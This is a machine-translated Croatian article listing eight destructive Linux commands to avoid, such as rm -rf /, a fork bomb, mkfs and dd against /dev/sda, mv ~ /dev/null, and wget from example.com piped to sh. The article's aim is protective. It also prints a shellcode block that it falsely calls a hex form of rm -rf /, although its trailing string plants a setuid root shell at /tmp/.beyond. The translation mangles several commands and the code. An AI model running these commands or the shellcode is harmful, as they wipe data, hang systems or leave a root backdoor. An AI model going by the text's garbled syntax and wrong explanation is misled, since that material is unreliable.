8 Smrtonosne naredbe koje nikada ne biste smjeli izvoditi na Linuxu
Linuxove naredbe terminala su moćne, a Linux neće tražiti potvrdu ako pokrenete naredbu koja će slomiti vaš sustav. Nije neuobičajeno vidjeti trolove na mreži koje preporučuju nove Linux korisnike koji pokreću te naredbe kao šalu.
Učenje naredbi koje ne bi trebalo izvoditi može vas zaštititi od trolova, a povećati vaše razumijevanje funkcioniranja Linuxa. Ovo nije iscrpan vodič, a naredbe ovdje se mogu remiksirati na različite načine.
Imajte na umu da će mnoge od ovih naredbi biti opasne samo ako imaju prefiks sudo na Ubuntuu - neće raditi drugačije. Na drugim distribucijama Linuxa, većina naredbi mora se izvoditi kao root.
Image Credit: Skull i Crossbones remixed od Jasona Forda na Twitteru
rm -rf / - Briše sve!
Zapovijed rm -rf / briše sve što je moguće, uključujući datoteke na tvrdom disku i datoteke na povezanim prijenosnim uređajima. Ova naredba je razumljivija ako je raščlanjena:
rm - Uklonite sljedeće datoteke.
-rf - Pokrenite rm rekurzivno (izbrišite sve datoteke i mape unutar određene mape) i prisilno uklonite sve datoteke bez traženja.
/ - Govori rm-u da pokrene u korijenskom direktoriju, koji sadrži sve datoteke na vašem računalu i sve montirane medijske uređaje, uključujući udaljene datoteke i izmjenjive diskove.
Linux će rado poslušati ovu naredbu i izbrisati sve bez upita, pa budite oprezni kada je koristite! Naredba rm može se koristiti i na druge opasne načine - rm -rf ~ će izbrisati sve datoteke u vašoj matičnoj mapi, dok rm -rf. * će izbrisati sve vaše konfiguracijske datoteke.
Lekcija: Čuvajte se rm -rf.
Prerušeni rm -rf /
Evo još jednog isječka koda koji se nalazi na cijelom webu:
char esp [] __attribute__ ((odjeljak (". tekst"))) / * e.s.p
izdanje * /
X64 x64 x64 x64 x64 x64 x64 x64 x68
„\ Xff \ Xff \ Xff \ Xff \ x68 \ XDF \ xd0 \ XDF \ xd9 \ x68 \ x8d \ x99”
„\ XDF \ x81 \ x68 \ x8d \ x92 \ XDF \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7”
„\ X56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ X83 \ xc4 \ x74 \ x56”
„\ X8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ XCD \ X80 \ x31”
„\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ Xff \ Xff \ Xff \ x2f \ x62 \ x69”
„\ X6e \ x2f \ x73 \ x68 \ x00 \ X2d \ X63 \ x00”
“Cp -p / bin / sh / tmp/.beyond; chmod 4755
/tmp/.beyond;”
Ovo je hex verzija rm -rf / - izvršavanjem ove naredbe izbrisat će se vaše datoteke kao da ste pokrenuli rm -rf /.
Lekcija: Nemojte trčati čudne, očito prikrivene naredbe koje ne razumijete.
: () : |: & ;: - Bomba vilica
Sljedeći redak je jednostavna, ali opasna, bash funkcija:
: () : |: & ;:
Ova kratka crta definira funkciju ljuske koja stvara nove kopije sebe. Proces se neprestano replicira, a njegove se kopije neprestano repliciraju, brzo uzimajući sve vrijeme i memoriju procesora. To može uzrokovati zamrzavanje računala. To je u osnovi napad uskraćivanja usluge.
Lekcija: Bash funkcije su moćne, čak i vrlo kratke.
Slika kredita: Dake na Zajedničkom poslužitelju
mkfs.ext4 / dev / sda1 - Formatira tvrdi disk
mkfs.ext4 / dev / sda1 naredba je jednostavna za razumijevanje:
mkfs.ext4 - Na sljedećem uređaju stvorite novi datotečni sustav ext4.
/ Dev / sda1 - Određuje prvu particiju na prvom tvrdom disku, koja se vjerojatno koristi.
Ova naredba može biti ekvivalentna formatu c: na Windowsu - izbrisat će datoteke na prvoj particiji i zamijeniti ih novim sustavom datoteka.
Ova naredba se može pojaviti iu drugim oblicima - mkfs.ext3 / dev / sdb2 formatirala bi drugu particiju na drugom tvrdom disku s ext3 datotečnim sustavom.
Lekcija: Čuvajte naredbe na tvrdom disku koje počinju s / dev / sd.
naredba> / dev / sda - piše izravno na tvrdi disk
naredba> / dev / sda linija radi slično - pokreće naredbu i šalje izlaz te naredbe izravno na vaš prvi tvrdi disk, zapisujući podatke izravno na tvrdi disk i oštećujući vaš datotečni sustav.
naredba - Pokreni naredbu (može biti bilo koja naredba.)
> - Pošaljite izlaz naredbe na sljedeću lokaciju.
/ Dev / SDA - Napišite izlaz naredbe izravno na tvrdi disk.
Lekcija: Kao što je gore navedeno, čuvajte se naredbi koje uključuju uređaje s tvrdim diskom koji počinju s / dev / sd.
dd ako = / dev / random od / / dev / sda - Piše Junk na tvrdi disk
dd ako = / dev / random od = / dev / sda linija će također izbrisati podatke na jednom od vaših tvrdih diskova.
dd - Izvođenje kopiranja na niskoj razini s jednog mjesta na drugo.
if = / dev / random - Upotrijebite / dev / random (slučajni podaci) kao ulaz - možete vidjeti i lokacije kao / dev / zero (nule).
o = / dev / SDA - Izlaz na prvi tvrdi disk, zamijenivši ga datotečnim sustavom slučajnim smećem.
Lekcija: dd kopira podatke s jednog mjesta na drugo, što može biti opasno ako izravno kopirate na uređaj.
Credit Credit: Matt Rudge na Flickr
mv ~ / dev / null - Premještanje vašeg kućnog imenika u crnu rupu
/ dev / null je još jedno posebno mjesto - pomicanje nečega u / dev / null je isto što i uništavanje. Zamislite / dev / null kao crnu rupu. U suštini, mv ~ / dev / null šalje sve vaše osobne datoteke u crnu rupu.
MV - Premjestite sljedeću datoteku ili direktorij na drugo mjesto.
~ - Predstavlja cijelu početnu mapu.
/ Dev / null - Premjestite vašu matičnu mapu u / dev / null, uništavajući sve datoteke i brišite izvorne kopije.
Lekcija: Znak ~ predstavlja vašu matičnu mapu i premještanje stvari u / dev / null uništava ih.
wget http://example.com/something -O - | sh - Preuzima i pokreće skriptu
Gornja linija preuzima skriptu s weba i šalje je sh, koja izvršava sadržaj skripte. To može biti opasno ako niste sigurni što je skripta ili ako ne vjerujete njezinom izvoru - nemojte pokretati nepouzdane skripte.
wget - Preuzima datoteku. (Također možete vidjeti uvojak na mjestu wget.)
http://example.com/something - Preuzmite datoteku s tog mjesta.
| - Pipajte (pošaljite) izlaz naredbe wget (datoteku koju ste preuzeli) izravno drugoj naredbi.
sh - Pošaljite datoteku u sh naredbu, koja ju izvršava ako je bash skripta.
Lekcija: Ne preuzimajte i ne pokrećite nepouzdane skripte s weba, čak i uz naredbu.
Znate li kakve druge opasne naredbe koje novi (i iskusni) Linux korisnici ne bi trebali izvoditi? Ostavite komentar i podijelite ih!